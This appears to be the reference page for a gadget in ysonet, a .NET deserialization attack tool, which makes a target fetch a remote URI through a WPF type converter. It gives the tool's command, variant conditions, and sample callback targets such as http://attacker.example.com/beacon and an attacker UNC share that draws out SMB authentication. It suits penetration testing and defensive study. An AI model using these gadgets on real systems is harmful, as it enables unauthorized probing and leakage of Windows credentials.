XamlTypeConverterFetch

gadget

One ordinary XAML attribute makes the target fetch -c through a [TypeConverter]. No ObjectDataProvider and no constructor. Remote image loading is documented WPF behaviour, so this is a shape, not a new bug.

Declared metadata, not a runtime result. How to read evidence.

.\ysonet.exe -g XamlTypeConverterFetch -h

Target declarations

Variant	Formatters	Inputs	Requirements	Runtime tokens
1	Xaml, Json.NET, JavaScriptSerializer, YamlDotNet	remote-url	built-in, wpf, net-framework, modern-dotnet	net-fx-4.8.1, net-10.0
2	Xaml, Json.NET, JavaScriptSerializer, YamlDotNet	remote-url	built-in, wpf, net-framework, modern-dotnet	net-fx-4.8.1, net-10.0

Variants

1: ImageSource (default) - <ImageDrawing ImageSource="..."/>, no condition on the value and no UI thread needed (default)
2: Cursor - <Label Cursor="..."/>, the value must end .cur or .ani

Options (2)

Option Help Default Required

Option	Help	Default	Required
`var\|variant=`	Which type converter the attribute selects. Choices: 1, 2. Default: "1". 1 (default) - ImageSourceConverter, through <ImageDrawing ImageSource="..."/>. Any non-empty value is fetched: no suffix rule and no scheme rule. Every ImageSource-typed member reaches the same converter, so the carrier can be swapped for whatever your target already accepts (Image Source, ImageBrush ImageSource, Window Icon, and so on). ImageDrawing is used because it is a Freezable with no type converter of its own, so it works whatever thread the target deserializes on. 2 - CursorConverter, through <Label Cursor="..."/>. Cursor is declared on FrameworkElement, so every element carries it - but the value MUST end in .cur or .ani, or the converter takes its named-cursor branch and the payload does nothing. It also has a second leg the other variant does not: a value that resolves to a file URI is opened as a FILE rather than fetched, so a UNC path is an SMB session. VARIANT 2 NEEDS A UI THREAD on every format except Xaml. Its carrier is a FrameworkElement, and building one on a thread that is not STA throws "The calling thread must be STA" before the converter runs - so a service that deserializes JSON on a thread-pool thread does not fire it, while a WPF application deserializing on its own UI thread does. Variant 1 has no such condition. Default value: "1". Suggested values: 1, 2.	1	false
`rawinput`	Put -c into the payload template exactly as typed, instead of escaping it for XML. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your URI unchanged, because there is then no text of yours left to compare against. WHAT TO PUT IN -c. An absolute URI the target's WebRequest stack accepts: http://attacker.example.com/beacon http://attacker.example.com/beacon.cur (variant 2) \attacker.example.com\share\x.cur (variant 2, a file open) Nothing has to exist on the far end and nothing has to be a real image or cursor: the target pays for the connect before anything is decoded. A RELATIVE value is resolved against the parser's own base URI, which you cannot see, so always use an absolute one. WHAT THE TARGET DOES WITH IT. For http or https WPF sets UseDefaultCredentials on the request, so the target process offers its ambient credentials if the server asks and the platform's credential policy allows it. The bytes go to the image decoders or the cursor parser; they are never sent anywhere and you never see them. -t IS ACCEPTED and it parses the payload HERE, so THIS machine makes the request you asked for. Against a UNC path Windows sends authentication material when it opens the SMB session, so only point it at an endpoint you own. WHAT A CALLBACK PROVES. That the target resolved your host and opened the request. It is not proof of a completed SMB session, of NTLM authentication, of captured credentials, or of a relay: those depend on the target, the network and your endpoint. Default value: "false".	false	false

var|variant=

Which type converter the attribute selects. Choices: 1, 2. Default: "1".

1 (default) - ImageSourceConverter, through <ImageDrawing ImageSource="..."/>. Any non-empty value is fetched: no suffix rule and no scheme rule. Every ImageSource-typed member reaches the same converter, so the carrier can be swapped for whatever your target already accepts (Image Source, ImageBrush ImageSource, Window Icon, and so on). ImageDrawing is used because it is a Freezable with no type converter of its own, so it works whatever thread the target deserializes on. 2 - CursorConverter, through <Label Cursor="..."/>. Cursor is declared on FrameworkElement, so every element carries it - but the value MUST end in .cur or .ani, or the converter takes its named-cursor branch and the payload does nothing. It also has a second leg the other variant does not: a value that resolves to a file URI is opened as a FILE rather than fetched, so a UNC path is an SMB session.

VARIANT 2 NEEDS A UI THREAD on every format except Xaml. Its carrier is a FrameworkElement, and building one on a thread that is not STA throws "The calling thread must be STA" before the converter runs - so a service that deserializes JSON on a thread-pool thread does not fire it, while a WPF application deserializing on its own UI thread does. Variant 1 has no such condition. Default value: "1". Suggested values: 1, 2.

false

rawinput

Put -c into the payload template exactly as typed, instead of escaping it for XML. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your URI unchanged, because there is then no text of yours left to compare against.

WHAT TO PUT IN -c. An absolute URI the target's WebRequest stack accepts: http://attacker.example.com/beacon http://attacker.example.com/beacon.cur (variant 2) \attacker.example.com\share\x.cur (variant 2, a file open) Nothing has to exist on the far end and nothing has to be a real image or cursor: the target pays for the connect before anything is decoded. A RELATIVE value is resolved against the parser's own base URI, which you cannot see, so always use an absolute one.

WHAT THE TARGET DOES WITH IT. For http or https WPF sets UseDefaultCredentials on the request, so the target process offers its ambient credentials if the server asks and the platform's credential policy allows it. The bytes go to the image decoders or the cursor parser; they are never sent anywhere and you never see them.

-t IS ACCEPTED and it parses the payload HERE, so THIS machine makes the request you asked for. Against a UNC path Windows sends authentication material when it opens the SMB session, so only point it at an endpoint you own.

WHAT A CALLBACK PROVES. That the target resolved your host and opened the request. It is not proof of a completed SMB session, of NTLM authentication, of captured credentials, or of a relay: those depend on the target, the network and your endpoint. Default value: "false".

false

Credit: [Finders: Soroush Dalili]

All modules · Full catalog JSON